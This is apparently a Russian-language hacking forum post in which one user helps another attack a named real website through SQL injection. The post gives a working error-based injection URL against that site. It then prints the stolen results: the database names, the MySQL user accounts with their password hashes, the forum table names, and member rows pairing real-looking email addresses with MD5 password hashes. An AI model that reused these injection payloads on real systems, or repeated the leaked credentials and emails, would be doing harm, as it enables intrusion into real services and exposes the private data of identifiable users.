Ваши вопросы по уязвимостям.

#37

17.04.2010, 00:04

[Feldmarschall]

Участник форума

Регистрация: 06.01.2010

Сообщений: 136

С нами: 8603287

Репутация: 87

Цитата:

Сообщение от jecka3000

очень прошу помощи, не выводит результат из столбцов.
http://amkar.properm.ru/info.php?id=-12+UNION+SELECT+concat_ws(unhex(hex(email,0x20,pas sword)))+from+0x6670705f6d656d62657273--

П.С. Вся информация в исходном коде, в таком виде,например: <br> <img src="graffiti/warn_lastwarn"></p><p align = "center"><br>

мне же нужно вывести из таблы fpp_members столбцы name password email
не выводит, помогите)

ммм...

Код:

http://amkar.properm.ru/info.php?id=-999.9+or%281,1%29=%28select+count%280%29,concat%28%28select+concat%28database%28%29%29+from+information_schema.tables+limit+0,1%29,floor%28rand%280%29*2%29%29from%28information_schema.tables%29group+by+2%29

Version: 5.0.51a-24+lenny2-log
Current User: properm@localhost

Код:

Data Bases: 
		_muzik
		amkar
		amkar_fan
		amore
		avto
		baba
		bikini
		comix
		contests
		euroset
		forum
		globass
		klass
		kvn
		led
		linkation
		map
		miss_whatever
		miss_zima
		moda
		muzik
		muzik_old
		mysql
		nebo
		nevesta
		newseater
		permskoe
		properm
		reality
		reality_backup
		seolib
		sf
		spravka
		spravka2
		spravka_backup_2009_10_31
		spravka_backup_2009_11_07
User: 	
                'root'@'localhost'
		'reality'@'localhost'
		'realty'@'localhost'
		'seo'@'localhost'
		'sprvk'@'localhost'
		'zabbix'@'localhost'
		'spravka'@'localhost'
		'properm'@'localhost'
		'debian-sys-maint'@'localhost'
		'root'@'proserv'
		'alya'@'%'
		'replication_user'@'%'
		'remote_root'@'%'

MySQL DB

User  	Password
alya 	*8D43FE3D5955DD53B1156534EE7AD854CA88FF24
remote_root 	
replication_user 	*A1DAA5D16F63E661DFFE8FB7E5CCF0E235F0C601
debian-sys-maint 	*D6E3AC52927F6BD477ACFEB9E18DCCC3094FFF97
properm 	*C58CE76F735421EB5B5BC2BB332CEF2674661499
reality 	*66758BD9AE5EFE6F5EFD754A0386969808EE2991
realty 	*27D8E13E226CE3F3DB6116796584A6BCF2AA3305
root 	*966F8B69DCE8F1383221C7E89C8AB06697332DAC
seo 	*6063C78456BB048BAF36BE1104D12D547834DFEA
spravka 	*050376F3855A67F5E2C6514FD3130B31006C1276
sprvk 	*30763283C56FC465C0F1F869CD097A5ABDF1F4D9
zabbix 	*2D90A69B6136A8DE2E6B87DC14504CE500DA21CF
root 	*CAC83AB2E75198C3287CD7E81B808F9C6D54B41A


DATABASE: forum
(TABLES):
fpp_admin_logs  	
fpp_admin_sessions 	
fpp_badwords 	
fpp_cache_store 	
fpp_calendar_events 	
fpp_categories 	
fpp_contacts 	
fpp_css 	
fpp_email_logs 	
fpp_emoticons 	
fpp_faq 	
fpp_files 	
fpp_files_cats 	
fpp_files_comments 	
fpp_files_custentered 	
fpp_files_custfields 	
fpp_files_downloads 	
fpp_files_favorites 	
fpp_files_votes 	
fpp_forum_perms 	
fpp_forum_tracker 	
fpp_forums 	
fpp_groups 	
fpp_languages 	
fpp_macro 	
fpp_macro_name 	
fpp_member_extra 	
fpp_members 	
fpp_messages 	
fpp_moderator_logs 	
fpp_moderators 	
fpp_pfields_content 	
fpp_pfields_data 	
fpp_polls 	
fpp_posts 	
fpp_reg_antispam 	
fpp_search_results 	
fpp_sessions 	
fpp_skin_templates 	
fpp_skins 	
fpp_spider_logs 	
fpp_stats 	
fpp_subscription_currency 	
fpp_subscription_extra 	
fpp_subscription_logs 	
fpp_subscription_methods 	
fpp_subscription_trans 	
fpp_subscriptions 	
fpp_templates 	
fpp_titles 	
fpp_tmpl_names 	
fpp_topic_mmod 	
fpp_topics 	
fpp_tracker 	
fpp_validating 	
fpp_voters 	
fpp_warn_logs 	
ibf_admin_logs 	
ibf_admin_sessions 	
ibf_announcements 	
ibf_attachments 	
ibf_attachments_type 	
ibf_badwords 	
ibf_banfilters 	
ibf_bulk_mail 	
ibf_cache_store 	
ibf_calendar_events 	
ibf_conf_settings 	
ibf_conf_settings_titles 	
ibf_contacts 	
ibf_custom_bbcode 	
ibf_email_logs 	
ibf_emoticons 	
ibf_faq 	
ibf_forum_perms 	
ibf_forum_tracker 	
ibf_forums 	
ibf_groups 	
ibf_languages 	
ibf_mail_error_logs 	
ibf_mail_queue 	
ibf_member_extra 	
ibf_members 	
ibf_members_converge 	
ibf_message_text 	
ibf_message_topics 	
ibf_moderator_logs 	
ibf_moderators 	
ibf_pfields_content 	
ibf_pfields_data 	
ibf_polls 	
ibf_posts 	
ibf_reg_antispam 	
ibf_search_results 	
ibf_sessions 	
ibf_skin_macro 	
ibf_skin_sets 	
ibf_skin_templates 	
ibf_skin_templates_cache 	
ibf_spider_logs 	
ibf_subscription_currency 	
ibf_subscription_extra 	
ibf_subscription_logs 	
ibf_subscription_methods 	
ibf_subscription_trans 	
ibf_subscriptions 	
ibf_task_logs 	
ibf_task_manager 	
ibf_titles 	
ibf_topic_mmod 	
ibf_topics 	
ibf_topics_read 	
ibf_tracker 	
ibf_upgrade_history 	
ibf_validating 	
ibf_voters 	
ibf_warn_logs

Table: fpp_members

email 	password
 	nametest@localhost.com  	 	chuchapn@reaktive.ru 	7277da89be64a89aa02a2d7423a0c05c 	Guest
red_ma@mail.ru 	81dc9bdb52d04dc20036dbd8313ed055 	Juissy
vsv1407@yandex.ru 	1406e7afb3eb1f83b4bd4e310cee7fc6 	magic
ca@properm.ru 	287e9593819b2fcdf9945e7ccacd637d 	reaktive
pn@reaktive.ru 	72fed2b8265919690c815f0316b346cc 	scbsncks
ve@properm.ru 	b0baee9d279d34fa1dfd71aadb908c3f 	wer
stasne@yandex.ru 	48309aa13d9d9497b097495188b2863a 	Николай